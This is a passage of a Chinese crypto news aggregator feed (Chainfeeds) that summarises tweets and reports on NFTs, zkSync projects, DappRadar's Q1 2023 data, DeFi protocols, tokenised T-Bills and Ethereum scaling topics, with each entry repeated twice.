过期，并且在前用户不知情的情况下被其他用户注册。 内容来源
    【英文长推】NFT 领域发生范式转变，解读 6 个关键点
    Chainfeeds 导读： NFT 领域正在发生范式转变：在二级市场遭遇困境的同时，一级市场却在悄然成长。加密 KOL Panda Jackson 撰推解读 6 个关键点。 文章来源： https://twitter.com/pandajackson42/status/1642905722965852160 文章作者： Panda Jackson 观点： Panda Jackson：1）NFT 不仅限于 PFP / 数字艺术，在「铸造派对」上发布新产品是一种时尚，使 NFT 成为品牌与用户之间的纽带。项目可以传达他们的品牌故事并建立社区，而用户可以证明他们是早期采用者并展示他们的忠诚度。2）2）Open Edition（OE）盛行，与 10k PFP 不同，OE 没有初始发行上限，也称为限时版。收藏家有一个固定的时间范围来铸造，发行将在铸造结束后确定，OE 通常是免费的，以鼓励更广泛的参与。【原文为英文】 内容来源 Panda Jackson：3）Zora 的用户友好 NFT 创建工具普及了 NFT 铸造，使任何人都可以在几分钟内创建 NFT，而无需技术技能。到目前为止，已经有 8.1 千个创作者创建了 1.1 万个系列。71.8 万收藏家铸造了 325 万个 NFT。4）Zora 的新收费政策，在 2 月 12 日改为向买家收取 1 美元 / 铸造一个 NFT 的固定费用。【原文为英文】 内容来源 Panda Jackson：5）更多铸造基础设施正在蓬勃发展，它们将共同使 NFT 成为通往 Web3 经济的门户。6）有流量的项目会扩展到其他领域，铸造平台可以使用 Rservoir 来整合二级交易并在铸造结束后捕获交易量。同样，二级市场 / 聚合商可以渗透一级市场以获得增量用户。【原文为英文】 内容来源  ( 2 min )
    【英文长推】NFT 领域发生范式转变，解读 6 个关键点
    Chainfeeds 导读： NFT 领域正在发生范式转变：在二级市场遭遇困境的同时，一级市场却在悄然成长。加密 KOL Panda Jackson 撰推解读 6 个关键点。 文章来源： https://twitter.com/pandajackson42/status/1642905722965852160 文章作者： Panda Jackson 观点： Panda Jackson：1）NFT 不仅限于 PFP / 数字艺术，在「铸造派对」上发布新产品是一种时尚，使 NFT 成为品牌与用户之间的纽带。项目可以传达他们的品牌故事并建立社区，而用户可以证明他们是早期采用者并展示他们的忠诚度。2）2）Open Edition（OE）盛行，与 10k PFP 不同，OE 没有初始发行上限，也称为限时版。收藏家有一个固定的时间范围来铸造，发行将在铸造结束后确定，OE 通常是免费的，以鼓励更广泛的参与。【原文为英文】 内容来源 Panda Jackson：3）Zora 的用户友好 NFT 创建工具普及了 NFT 铸造，使任何人都可以在几分钟内创建 NFT，而无需技术技能。到目前为止，已经有 8.1 千个创作者创建了 1.1 万个系列。71.8 万收藏家铸造了 325 万个 NFT。4）Zora 的新收费政策，在 2 月 12 日改为向买家收取 1 美元 / 铸造一个 NFT 的固定费用。【原文为英文】 内容来源 Panda Jackson：5）更多铸造基础设施正在蓬勃发展，它们将共同使 NFT 成为通往 Web3 经济的门户。6）有流量的项目会扩展到其他领域，铸造平台可以使用 Rservoir 来整合二级交易并在铸造结束后捕获交易量。同样，二级市场 / 聚合商可以渗透一级市场以获得增量用户。【原文为英文】 内容来源  ( 2 min )
    【英文长推】盘点 zkSync 生态近期加入并快速发展的五个新项目
    Chainfeeds 导读： zkSync 官方撰推盘点其生态近期加入并快速发展的五个新项目，涵盖基础解决方案、NFT 、数据预言机、DeFi 四个方面。 文章来源： https://twitter.com/zksync/status/1642920310054981633 文章作者： zkSync∎ 观点： zkSync∎：1）Ramp Network，非托管的加密基础设施，允许通过简单的用户体验、覆盖不同地区和支付方式，快速引流用户。轻松访问加密生态系统。2）Omnisea 全链 NFT 发射器，现已在 zkSync Era 主网上线，用户可以不受限制地轻松启动可定制的 NFT 空投。3）Kreatorland，NFT 发射器和市场，允许用户在 zkSync Era 上发布、铸造和交易 NFT，现已在主网上线。【原文为英文】 内容来源 zkSync∎：4）Redstone Finance，EVM 兼容的预言机提供商，其数据可以在 zkSync Era 主网上获得，包括 1100 多种资产的数据源，涵盖加密货币、股票、商品、NFT 等。5）Nexon Finance，借贷协议，允许用户使用 ETH 作为抵押品借出 USDC，旨在帮助用户更有效地借入借出加密资产。【原文为英文 内容来源  ( 2 min )
    【英文长推】盘点 zkSync 生态近期加入并快速发展的五个新项目
    Chainfeeds 导读： zkSync 官方撰推盘点其生态近期加入并快速发展的五个新项目，涵盖基础解决方案、NFT 、数据预言机、DeFi 四个方面。 文章来源： https://twitter.com/zksync/status/1642920310054981633 文章作者： zkSync∎ 观点： zkSync∎：1）Ramp Network，非托管的加密基础设施，允许通过简单的用户体验、覆盖不同地区和支付方式，快速引流用户。轻松访问加密生态系统。2）Omnisea 全链 NFT 发射器，现已在 zkSync Era 主网上线，用户可以不受限制地轻松启动可定制的 NFT 空投。3）Kreatorland，NFT 发射器和市场，允许用户在 zkSync Era 上发布、铸造和交易 NFT，现已在主网上线。【原文为英文】 内容来源 zkSync∎：4）Redstone Finance，EVM 兼容的预言机提供商，其数据可以在 zkSync Era 主网上获得，包括 1100 多种资产的数据源，涵盖加密货币、股票、商品、NFT 等。5）Nexon Finance，借贷协议，允许用户使用 ETH 作为抵押品借出 USDC，旨在帮助用户更有效地借入借出加密资产。【原文为英文 内容来源  ( 2 min )
    DappRadar Q1 研报：DeFi TVL 超过 830 亿美元；NFT 交易量翻倍；OpenSea 失去市场主导地位
    Chainfeeds 导读： Dapp 数据追踪平台 Dapp Radar 发布 Q1 研报，分析不同赛道的 dapp 数据变化。总结得出 2023 年第一季度的 dapp 行业经历了高潮和低谷，链上指标和市场趋势出现波动。 然而总体情绪仍然乐观，因为加密行业继续展示出弹性。本文中文版由比推编译。 文章来源： https://www.bitpush.news/articles/3910872 文章作者： DappRadar 观点： DappRadar：2023 年第一季度，与上一季度相比，每日与 dapps 进行链上交互的唯一活跃钱包（dUAW）减少了 9.7%。其中区块链游戏继续占据行业主导地位，Q1 平均 dUAW 为 791474 ，在行业中占比 45.6%。ARB 空投于 3 月 23 日启动，导致 Arbitrum 的日交易量达到创纪录的 2,728,907，超过了以太坊和 Optimism。 内容来源 DappRadar：DeFi 的总锁仓价值（TVL）环比增长 37.44%，达到 833 亿美元。以太坊以 558 亿美元的 TVL 占主导地位，BNB Chain 以 20.69% 的增幅位居第二。基于社交的 dapp 本季度注册了 210,600 个 dUAW，比去年第三季度增长了 2,250%； 社交 dapp 占 DappRadar 链上活动的 12%。 内容来源 DappRadar：NFT 在 2023 年第一季度表现强劲，交易量增长 137.04% 至 47 亿美元，为 2022 年第二季度以来的最高水平。但是，3 月份月交易量下降 15.65% 至 17 亿美元，月销售额下降 4.63% 至 270 万美元。OpenSea 在 2023 年第一季度失去了 NFT 市场主导地位，市值占比为 2021 年 2 月以来最低。2023 年第一季度因黑客攻击和漏洞利用损失了 3.73 亿美元的资金，比上一季度的 50 亿美元大幅下降 92.60%。 内容来源  ( 6 min )
    DappRadar Q1 研报：DeFi TVL 超过 830 亿美元；NFT 交易量翻倍；OpenSea 失去市场主导地位
    Chainfeeds 导读： Dapp 数据追踪平台 Dapp Radar 发布 Q1 研报，分析不同赛道的 dapp 数据变化。总结得出 2023 年第一季度的 dapp 行业经历了高潮和低谷，链上指标和市场趋势出现波动。 然而总体情绪仍然乐观，因为加密行业继续展示出弹性。本文中文版由比推编译。 文章来源： https://www.bitpush.news/articles/3910872 文章作者： DappRadar 观点： DappRadar：2023 年第一季度，与上一季度相比，每日与 dapps 进行链上交互的唯一活跃钱包（dUAW）减少了 9.7%。其中区块链游戏继续占据行业主导地位，Q1 平均 dUAW 为 791474 ，在行业中占比 45.6%。ARB 空投于 3 月 23 日启动，导致 Arbitrum 的日交易量达到创纪录的 2,728,907，超过了以太坊和 Optimism。 内容来源 DappRadar：DeFi 的总锁仓价值（TVL）环比增长 37.44%，达到 833 亿美元。以太坊以 558 亿美元的 TVL 占主导地位，BNB Chain 以 20.69% 的增幅位居第二。基于社交的 dapp 本季度注册了 210,600 个 dUAW，比去年第三季度增长了 2,250%； 社交 dapp 占 DappRadar 链上活动的 12%。 内容来源 DappRadar：NFT 在 2023 年第一季度表现强劲，交易量增长 137.04% 至 47 亿美元，为 2022 年第二季度以来的最高水平。但是，3 月份月交易量下降 15.65% 至 17 亿美元，月销售额下降 4.63% 至 270 万美元。OpenSea 在 2023 年第一季度失去了 NFT 市场主导地位，市值占比为 2021 年 2 月以来最低。2023 年第一季度因黑客攻击和漏洞利用损失了 3.73 亿美元的资金，比上一季度的 50 亿美元大幅下降 92.60%。 内容来源  ( 6 min )
    【英文长推】Curve War 加剧，解析 Spiral DAO 如何使自己与众不同
    Chainfeeds 导读： Spiral DAO 通过增持 $CRV、$BAL、$FXS 和其他 DeFi 蓝筹股的股份，试图根除自相残杀的抛售并抑制通胀压力。加密 KOL 0xShinChan 撰推解析 Spiral DAO 如何在 Curve War 中脱颖而出，使自己与众不同。涵盖其协议原理机制、双代币经济模型，以及即将到来的 ITO。 文章来源： https://twitter.com/0xShinChannn/status/1642920620697751552 文章作者： 阿尔法新酱 | 0xShinChan 观点： 阿尔法新酱 | 0xShinChan：Spiral DAO 打造了一种创新的质押模型，以巩固其在 CRV、BAL 和 FXS 生态系统中的地位。采用类似绑定的方法，该模型分配原生协议代币（COIL），以优惠价格兑换其他代币。通过在 COIL 代币中提供比通过现有协议可获得的奖励更高的美元价值，Spiral DAO 中的「收益农民」可以将这一额外收益视为购买原生 COIL 代币的「折扣」，这可能使其比传统的挖矿方法更具吸引力。【原文为英文】 内容来源 阿尔法新酱 | 0xShinChan：什么让 Spiral DAO 不同？精通国库再平衡。Spiral DAO 利用贿赂市场，通过精明的套利来保持平衡的国库风险敞口。增加 BAL 在国库中的比例，同时降低 CRV 的比例。Spiral DAO 的创新 DeFi 治理利用国库资产，通过战略性地出售贿赂选票和回购所需资产（如 CRV 或 COIL），为流动性提供者提供更高的 APR。【原文为英文】 内容来源 阿尔法新酱 | 0xShinChan：Spiral DAO 不受一个贿赂市场的约束，而是平衡多个市场的流动性。通过将基础资产复合到策略中，DAO 的国库价值以卓越的 APR 增长，超过通货膨胀，同时仍然提供 LP 激励。飞轮效应对 Spiral DAO 至关重要，因为通过战略性投票销售对托管代币的需求推动了自我强化的增长周期。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Curve War 加剧，解析 Spiral DAO 如何使自己与众不同
    Chainfeeds 导读： Spiral DAO 通过增持 $CRV、$BAL、$FXS 和其他 DeFi 蓝筹股的股份，试图根除自相残杀的抛售并抑制通胀压力。加密 KOL 0xShinChan 撰推解析 Spiral DAO 如何在 Curve War 中脱颖而出，使自己与众不同。涵盖其协议原理机制、双代币经济模型，以及即将到来的 ITO。 文章来源： https://twitter.com/0xShinChannn/status/1642920620697751552 文章作者： 阿尔法新酱 | 0xShinChan 观点： 阿尔法新酱 | 0xShinChan：Spiral DAO 打造了一种创新的质押模型，以巩固其在 CRV、BAL 和 FXS 生态系统中的地位。采用类似绑定的方法，该模型分配原生协议代币（COIL），以优惠价格兑换其他代币。通过在 COIL 代币中提供比通过现有协议可获得的奖励更高的美元价值，Spiral DAO 中的「收益农民」可以将这一额外收益视为购买原生 COIL 代币的「折扣」，这可能使其比传统的挖矿方法更具吸引力。【原文为英文】 内容来源 阿尔法新酱 | 0xShinChan：什么让 Spiral DAO 不同？精通国库再平衡。Spiral DAO 利用贿赂市场，通过精明的套利来保持平衡的国库风险敞口。增加 BAL 在国库中的比例，同时降低 CRV 的比例。Spiral DAO 的创新 DeFi 治理利用国库资产，通过战略性地出售贿赂选票和回购所需资产（如 CRV 或 COIL），为流动性提供者提供更高的 APR。【原文为英文】 内容来源 阿尔法新酱 | 0xShinChan：Spiral DAO 不受一个贿赂市场的约束，而是平衡多个市场的流动性。通过将基础资产复合到策略中，DAO 的国库价值以卓越的 APR 增长，超过通货膨胀，同时仍然提供 LP 激励。飞轮效应对 Spiral DAO 至关重要，因为通过战略性投票销售对托管代币的需求推动了自我强化的增长周期。【原文为英文】 内容来源  ( 2 min )
    【英文长推】由受监管的金融机构管理的智能合约金库 OpenEden：我们为什么选择 T-Bills?
    Chainfeeds 导读： OpenEden 是第一个由受监管的金融机构管理的智能合约金库，允许用户随时交易美国国债。其创始人 Eugene Ng 撰推解析产品为何选择 T-Bills（国库券），分析其 TBILL 代币未来有何优势，认为 TBILL 代币在快速增长的代币化 RWA 领域中处于独特地位。 文章来源： https://twitter.com/Eug_Ng/status/1643049633663561729 文章作者： Eugene Ng 观点： Eugene Ng：为什么是 T-Bills（国库券）？1）AAA 级主权债务得到美国政府的充分信任和信用支持；2）DeFi 收益率低迷；3）棘手的通胀；4）担心更多的银行挤兑；5）约 1300 亿的美元供应；6）美联储终端利率 5%-5.25%。TBILL 金库运作流程：1）15 分钟内通过 KYC；2）将 USDC 存入 TBILL 金库；3）即时铸造 TBILL 代币；4）将 USDC 兑换成 TBILL 代币。【原文为英文】 内容来源 Eugene Ng：TBILL 代币未来优势：1）更多机构级别加入，包括星展银行、Saxo & IBKR、毕马威、Harneys、CAI。2）更多 DeFi 功能，允许随时实时铸造和赎回的链上金库，非美国投资者可以自由转移到非白名单地址，未来几周将有更多的 TBILL 代币用例，开启 DeFi 乐高模式。3）更加透明，链上实时交叉检查基础 T-Bills，托管者的每日储备报告，独立审计师每月对金库资产进行证明，受监管的基金管理员负责会计。【原文为英文】 内容来源 Eugene Ng：4）更加合规，代币发行实体被认可为 BVI 监管的专业基金，投资经理是由新加坡金融管理局监管的注册基金管理公司，链上分析公司 Elliptic 提供 KYC/AML 监控。总结：我们的目标是通过 DeFi 渠道将 RWA 带到链上，首先是我们的 TBILL 链上金库，它允许投资者 24/7 全天候完全保持在链上，同时享受拥有 T-Bills 的好处的符合法规的破产远程结构。【原文为英文】 内容来源  ( 2 min )
    【英文长推】由受监管的金融机构管理的智能合约金库 OpenEden：我们为什么选择 T-Bills?
    Chainfeeds 导读： OpenEden 是第一个由受监管的金融机构管理的智能合约金库，允许用户随时交易美国国债。其创始人 Eugene Ng 撰推解析产品为何选择 T-Bills（国库券），分析其 TBILL 代币未来有何优势，认为 TBILL 代币在快速增长的代币化 RWA 领域中处于独特地位。 文章来源： https://twitter.com/Eug_Ng/status/1643049633663561729 文章作者： Eugene Ng 观点： Eugene Ng：为什么是 T-Bills（国库券）？1）AAA 级主权债务得到美国政府的充分信任和信用支持；2）DeFi 收益率低迷；3）棘手的通胀；4）担心更多的银行挤兑；5）约 1300 亿的美元供应；6）美联储终端利率 5%-5.25%。TBILL 金库运作流程：1）15 分钟内通过 KYC；2）将 USDC 存入 TBILL 金库；3）即时铸造 TBILL 代币；4）将 USDC 兑换成 TBILL 代币。【原文为英文】 内容来源 Eugene Ng：TBILL 代币未来优势：1）更多机构级别加入，包括星展银行、Saxo & IBKR、毕马威、Harneys、CAI。2）更多 DeFi 功能，允许随时实时铸造和赎回的链上金库，非美国投资者可以自由转移到非白名单地址，未来几周将有更多的 TBILL 代币用例，开启 DeFi 乐高模式。3）更加透明，链上实时交叉检查基础 T-Bills，托管者的每日储备报告，独立审计师每月对金库资产进行证明，受监管的基金管理员负责会计。【原文为英文】 内容来源 Eugene Ng：4）更加合规，代币发行实体被认可为 BVI 监管的专业基金，投资经理是由新加坡金融管理局监管的注册基金管理公司，链上分析公司 Elliptic 提供 KYC/AML 监控。总结：我们的目标是通过 DeFi 渠道将 RWA 带到链上，首先是我们的 TBILL 链上金库，它允许投资者 24/7 全天候完全保持在链上，同时享受拥有 T-Bills 的好处的符合法规的破产远程结构。【原文为英文】 内容来源  ( 2 min )
    Ticketmaster 将 NFT 与 票务结合，或成为下一个将上亿用户带入 Web3 的场景之一
    Chainfeeds 导读： 全球最大的票务公司 Ticketmaster 刚刚进行了将 NFT 和票务结合的尝试，带来诸多好处：艺人权益发放、防黄牛、避免假票、创造版税、数字身份构建等。CheersUP 研究员 Rubywang 撰推，从 Ticketmaster 的背景入手，分析其与 A7X 合作带来的多方影响，认为 Tiketmaster 的尝试对 NFT 带来「破圈」的借鉴意义。 文章来源： https://twitter.com/rubywxt1/status/1643040722621464576 文章作者： Rubywang.eth 观点： Rubywang.eth：Ticketmaster 与知名乐队 A7X（唱片销售超过 800 万张）合作，为其 10k NFT 粉丝社区提供 token-gated 的优先购票权益，获得了不错的用户反馈，甚至有三分之二的粉丝表示愿意为了艺人权益来学习如何使用数字钱包。Ticketmaster 成立于 1976 年，总部位于美国洛杉矶，在全球 32 个国家运营；其母公司 Live Nation Entertainment 占据北美演出市场 70% 的份额。 内容来源 Rubywang.eth：购票全流程真正实现了「验证真实粉丝」的目的；并且 5000+ NFT holder 里，已有 20% 购票并且反响相当不错。A7X 声明之后的门票都会集成 NFT 预购，并联合 Ticketmaster 欢迎更多艺术家采用这套方案，为粉丝提供类似的体验。除了演出购票，该方式对于很多需要排队预约的消费体验都可以复用，例如球鞋限量款发售，或者发放稀缺权益。 内容来源 Rubywang.eth：对 NFT 「破圈」的借鉴意义：该合作价值在于「有人把用户真正需要的价值做出来，并且推进落地」。Web3 的 builder & 艺术家与一家 web2 的头部公司联手，并且是在这家 web2 公司的「核心业务且关键的用户路径」上，同时完成了一次 toC 和 toB 的教育。 内容来源 Rubywang.eth：所以如何正确地「破圈」？答案就在长期主义的规划，给用户很好的教育和产品体验上。这个案例里，Ticketmaster 为粉丝社区提供 token-gated 的优先购票权益，相当于为其购票流程装了一个插件；我更期待之后把门票直接 NFT 化的案例，帮助购票者构建数字身份，实现更大生态的 Open Loyalty。 内容来源  ( 2 min )
    Ticketmaster 将 NFT 与 票务结合，或成为下一个将上亿用户带入 Web3 的场景之一
    Chainfeeds 导读： 全球最大的票务公司 Ticketmaster 刚刚进行了将 NFT 和票务结合的尝试，带来诸多好处：艺人权益发放、防黄牛、避免假票、创造版税、数字身份构建等。CheersUP 研究员 Rubywang 撰推，从 Ticketmaster 的背景入手，分析其与 A7X 合作带来的多方影响，认为 Tiketmaster 的尝试对 NFT 带来「破圈」的借鉴意义。 文章来源： https://twitter.com/rubywxt1/status/1643040722621464576 文章作者： Rubywang.eth 观点： Rubywang.eth：Ticketmaster 与知名乐队 A7X（唱片销售超过 800 万张）合作，为其 10k NFT 粉丝社区提供 token-gated 的优先购票权益，获得了不错的用户反馈，甚至有三分之二的粉丝表示愿意为了艺人权益来学习如何使用数字钱包。Ticketmaster 成立于 1976 年，总部位于美国洛杉矶，在全球 32 个国家运营；其母公司 Live Nation Entertainment 占据北美演出市场 70% 的份额。 内容来源 Rubywang.eth：购票全流程真正实现了「验证真实粉丝」的目的；并且 5000+ NFT holder 里，已有 20% 购票并且反响相当不错。A7X 声明之后的门票都会集成 NFT 预购，并联合 Ticketmaster 欢迎更多艺术家采用这套方案，为粉丝提供类似的体验。除了演出购票，该方式对于很多需要排队预约的消费体验都可以复用，例如球鞋限量款发售，或者发放稀缺权益。 内容来源 Rubywang.eth：对 NFT 「破圈」的借鉴意义：该合作价值在于「有人把用户真正需要的价值做出来，并且推进落地」。Web3 的 builder & 艺术家与一家 web2 的头部公司联手，并且是在这家 web2 公司的「核心业务且关键的用户路径」上，同时完成了一次 toC 和 toB 的教育。 内容来源 Rubywang.eth：所以如何正确地「破圈」？答案就在长期主义的规划，给用户很好的教育和产品体验上。这个案例里，Ticketmaster 为粉丝社区提供 token-gated 的优先购票权益，相当于为其购票流程装了一个插件；我更期待之后把门票直接 NFT 化的案例，帮助购票者构建数字身份，实现更大生态的 Open Loyalty。 内容来源  ( 2 min )
    四个扩容团队聊以太坊前沿技术：去中心化 Sequencer、EOF、4844 和模块化
    Chainfeeds 导读： 以太坊上海升级峰会活动邀请了四个扩容方案团队，讨论以太坊的前沿技术，包括可能在下次升级中包含的 EOF 和 EIP-4844、去中心化 Sequencer 和模块化区块链等新方向。ChainFeeds 作为 Co-host 参与了此次 Twitter Space，并将此词活动的讨论经过 OpenAI Whisper 转译为文章。 文章来源： https://chainfeeds.substack.com/p/sequencereof4844 文章作者： Zhixiong Pan 观点： Zhixiong Pan：话题一：EOF（以太坊对象格式）。EOF 原计划在上海升级中实现，但已推迟。对于以太坊的自字节码提供一种前置的数据结构，有利于未来 EVM 的字节码特性和智能合约的升级。该改变对应用开发者无直接影响，但可能会对 zkEVM 产生影响。EOF 带来了两个优化：将智能合约代码验证前置和提供了一种扩展能力。对于 EOF 是否会进入下一阶段的升级，还会有一定的争议。 内容来源 Zhixiong Pan：话题二：去中心化 Sequencer（定序器）。Layer 2 网络的 Sequencer 仍处于较早阶段，大多数是单一 Sequencer。去中心化 Sequencer 的几种方案：拜占庭容错（BFT）、MEV 拍卖、共享 Sequencer（Flashbots）、VDF 等。目前最有前景的是基于重用 Layer 1 验证器的方案和基于拜占庭容错（BFT ）的方案，引入 BFT 作为 Sequencer 需要在 Layer 2 中引入一个 BFT 共识。 内容来源 Zhixiong Pan：话题三：EIP-4844（Proto-Danksharding）。EIP-4844 的目的并非扩容，而更多是为了实现未来 Danksharding 所需的一整套概念，包括 Binary Large Object（blob）及其 Data Hash。EIP-4844 并不会比当前以太坊数据上链方式带来显著改进，但使用 Danksharding 理论上可以达到更高吞吐量级。 内容来源 Zhixiong Pan：话题四：模块化区块链。Jolestar 觉得模块化的区块链是 Layer 2 思路的演化结果，可以将不同模块拆开并让不同系统承担。Dorothy Liu 认为区块链行业已从胖协议瘦应用进化到胖应用瘦协议，焦点转向实际应用场景，需要提供更多样的选择。Qi Zhou 认同模块化的发展方向，并认为应该借鉴成熟的计算机体系。Ye Zhang 则认为过度模块化可能会导致安全问题，需要社区共识来推动创新。 内容来源  ( 9 min )
    四个扩容团队聊以太坊前沿技术：去中心化 Sequencer、EOF、4844 和模块化
    Chainfeeds 导读： 以太坊上海升级峰会活动邀请了四个扩容方案团队，讨论以太坊的前沿技术，包括可能在下次升级中包含的 EOF 和 EIP-4844、去中心化 Sequencer 和模块化区块链等新方向。ChainFeeds 作为 Co-host 参与了此次 Twitter Space，并将此词活动的讨论经过 OpenAI Whisper 转译为文章。 文章来源： https://chainfeeds.substack.com/p/sequencereof4844 文章作者： Zhixiong Pan 观点： Zhixiong Pan：话题一：EOF（以太坊对象格式）。EOF 原计划在上海升级中实现，但已推迟。对于以太坊的自字节码提供一种前置的数据结构，有利于未来 EVM 的字节码特性和智能合约的升级。该改变对应用开发者无直接影响，但可能会对 zkEVM 产生影响。EOF 带来了两个优化：将智能合约代码验证前置和提供了一种扩展能力。对于 EOF 是否会进入下一阶段的升级，还会有一定的争议。 内容来源 Zhixiong Pan：话题二：去中心化 Sequencer（定序器）。Layer 2 网络的 Sequencer 仍处于较早阶段，大多数是单一 Sequencer。去中心化 Sequencer 的几种方案：拜占庭容错（BFT）、MEV 拍卖、共享 Sequencer（Flashbots）、VDF 等。目前最有前景的是基于重用 Layer 1 验证器的方案和基于拜占庭容错（BFT ）的方案，引入 BFT 作为 Sequencer 需要在 Layer 2 中引入一个 BFT 共识。 内容来源 Zhixiong Pan：话题三：EIP-4844（Proto-Danksharding）。EIP-4844 的目的并非扩容，而更多是为了实现未来 Danksharding 所需的一整套概念，包括 Binary Large Object（blob）及其 Data Hash。EIP-4844 并不会比当前以太坊数据上链方式带来显著改进，但使用 Danksharding 理论上可以达到更高吞吐量级。 内容来源 Zhixiong Pan：话题四：模块化区块链。Jolestar 觉得模块化的区块链是 Layer 2 思路的演化结果，可以将不同模块拆开并让不同系统承担。Dorothy Liu 认为区块链行业已从胖协议瘦应用进化到胖应用瘦协议，焦点转向实际应用场景，需要提供更多样的选择。Qi Zhou 认同模块化的发展方向，并认为应该借鉴成熟的计算机体系。Ye Zhang 则认为过度模块化可能会导致安全问题，需要社区共识来推动创新。 内容来源  ( 9 min )
    【英文长推】新项目前瞻｜代替预编译的方式降低 gas 成本的解决方案：opclave
    Chainfeeds 导读： 以太坊交易的验证成本较低，但用户操作的签名验证成本昂贵。聚合签名可以用一个密钥对验证一组用户操作，降低 gas 成本。加密货币 KOL Dogan 详细讲述其中原理并介绍了用聚合签名降低 gas 成本的解决方案 opclave。 文章来源： https://twitter.com/doganeth_en/status/1642300603849224195 文章作者： Dogan 观点： Dogan：在普通的以太坊交易中，私钥签名创建签名。通过计算公钥 + 信息 + 签名，我们可以确定其是否真实。普通以太坊交易的验证成本很低，因为签名验证规则已经硬编码到共识层中。然而，在大多数情况下，用户操作的签名验证成本非常昂贵，因为它没有进行优化。【原文为英文】 内容来源 Dogan：用户可以修改 GETH 并添加一些预编译（预定义函数）来优化签名的验证 gas 成本，但需要从共识层进行更改，并且很难在通用的链上使用。所以我们需要一个更好的解决方案：聚合签名。与验证每个用户操作的签名不同，我们可以聚合一组用户操作，并使用一个密钥对验证所有有效性，极大地降低用户操作签名验证的 gas 成本。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新项目前瞻｜代替预编译的方式降低 gas 成本的解决方案：opclave
    Chainfeeds 导读： 以太坊交易的验证成本较低，但用户操作的签名验证成本昂贵。聚合签名可以用一个密钥对验证一组用户操作，降低 gas 成本。加密货币 KOL Dogan 详细讲述其中原理并介绍了用聚合签名降低 gas 成本的解决方案 opclave。 文章来源： https://twitter.com/doganeth_en/status/1642300603849224195 文章作者： Dogan 观点： Dogan：在普通的以太坊交易中，私钥签名创建签名。通过计算公钥 + 信息 + 签名，我们可以确定其是否真实。普通以太坊交易的验证成本很低，因为签名验证规则已经硬编码到共识层中。然而，在大多数情况下，用户操作的签名验证成本非常昂贵，因为它没有进行优化。【原文为英文】 内容来源 Dogan：用户可以修改 GETH 并添加一些预编译（预定义函数）来优化签名的验证 gas 成本，但需要从共识层进行更改，并且很难在通用的链上使用。所以我们需要一个更好的解决方案：聚合签名。与验证每个用户操作的签名不同，我们可以聚合一组用户操作，并使用一个密钥对验证所有有效性，极大地降低用户操作签名验证的 gas 成本。【原文为英文】 内容来源  ( 2 min )
    【英文长推】盘点 15 个独特且创新的即将到来的项目：Orange Finance、GND Protocol、Caldera...
    Chainfeeds 导读： 加密货币 KOL hangry 整理了 15 个值得关注的即将到来的项目，包括流动性管理工具 Orange Finance、RWA 协议 Florence 、永续协议 Derivio 等。 文章来源： https://twitter.com/kindahangry/status/1642874649527881729 文章作者： hangry 观点： hangry：1）Orange Finance 是一个 delta 中性的 Uniswap V3 流动性管理工具，充当真正的收益金库。他们的 ETH-USDC 金库在回溯测试后成功获得了 25% 的 APR，并且计划扩展到其他链 / 池子。2）GND 正在创建由 Gain 的 gDAI 和 GMD 的 gmdUSDC 组合支持的收益稳定币。该协议将通过在 Uniswap V3 上套利挂钩和赚取费用来产生收入，并将该收入分配给 GND 利益相关者。【原文为英文】 内容来源 hangry：3）Caldera 允许协议轻松部署高性能、可定制和特定于应用程序的 Layer 2 区块链。随着链模块化和互操作性变得越来越先进，特定于应用程序的 rollup 将对协议更有意义。4）Renegade 正在创建一个 L2 原生暗池 AMM。暗池通过端到端加密订单来提供完全私密的交易体验。隐私对于区块链技术的成功至关重要，而 Renegade 可能会是其解决方案。【原文为英文】 内容来源  ( 2 min )
    【英文长推】盘点 15 个独特且创新的即将到来的项目：Orange Finance、GND Protocol、Caldera...
    Chainfeeds 导读： 加密货币 KOL hangry 整理了 15 个值得关注的即将到来的项目，包括流动性管理工具 Orange Finance、RWA 协议 Florence 、永续协议 Derivio 等。 文章来源： https://twitter.com/kindahangry/status/1642874649527881729 文章作者： hangry 观点： hangry：1）Orange Finance 是一个 delta 中性的 Uniswap V3 流动性管理工具，充当真正的收益金库。他们的 ETH-USDC 金库在回溯测试后成功获得了 25% 的 APR，并且计划扩展到其他链 / 池子。2）GND 正在创建由 Gain 的 gDAI 和 GMD 的 gmdUSDC 组合支持的收益稳定币。该协议将通过在 Uniswap V3 上套利挂钩和赚取费用来产生收入，并将该收入分配给 GND 利益相关者。【原文为英文】 内容来源 hangry：3）Caldera 允许协议轻松部署高性能、可定制和特定于应用程序的 Layer 2 区块链。随着链模块化和互操作性变得越来越先进，特定于应用程序的 rollup 将对协议更有意义。4）Renegade 正在创建一个 L2 原生暗池 AMM。暗池通过端到端加密订单来提供完全私密的交易体验。隐私对于区块链技术的成功至关重要，而 Renegade 可能会是其解决方案。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Arbitrum 值得长期投资吗？
    Chainfeeds 导读： Arbitrum 正在构建以太坊扩展解决方案，基于 Optimistic Rollups L2 是他们的旗舰产品，他们正在努力构建数百个 L2 的生态系统。加密货币 KOL DYOR 从代币经济学、DeFi 数据、NFT 数据等方面对 Arbitrum 进行了详细的基本面分析。 文章来源： https://twitter.com/dyorcryptoapp/status/1642847639925559296 文章作者： DYOR 观点： DYOR：代币经济学：超过 44% 的 ARB 供应量分配给团队 / 投资者，有 12 个月锁仓期，并且之后 3 年每月线性解锁。11.62% 的供应量空投给了早期用户。ARB 是一种治理代币，将用于参与 DAO 治理。【原文为英文】 内容来源 DYOR：L2 链：Arbitrum One 是使用 Arbitrum Rollup 技术创建的旗舰 L2 链。它专为 DeFi 特定用例而构建。Arbitrum NOVA 是一种超低成本的 L2 链，采用 anytrust 技术支持游戏和社交媒体用例。【原文为英文】 内容来源 DYOR：在 Arbitrum 上的 DeFi：协议数量：267；总 TVL：22 亿美元；顶级协议：GMX、Radiant、Camelot；市场份额：4.42%。在 Arbitrum 上的 NFT：销售额（30 天）：607 万美元；顶级市场：Trove、Opensea、TofuNFT ；顶级收藏品：Smol Brain, The Lost keys of chronos ；市场份额: 3%。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Arbitrum 值得长期投资吗？
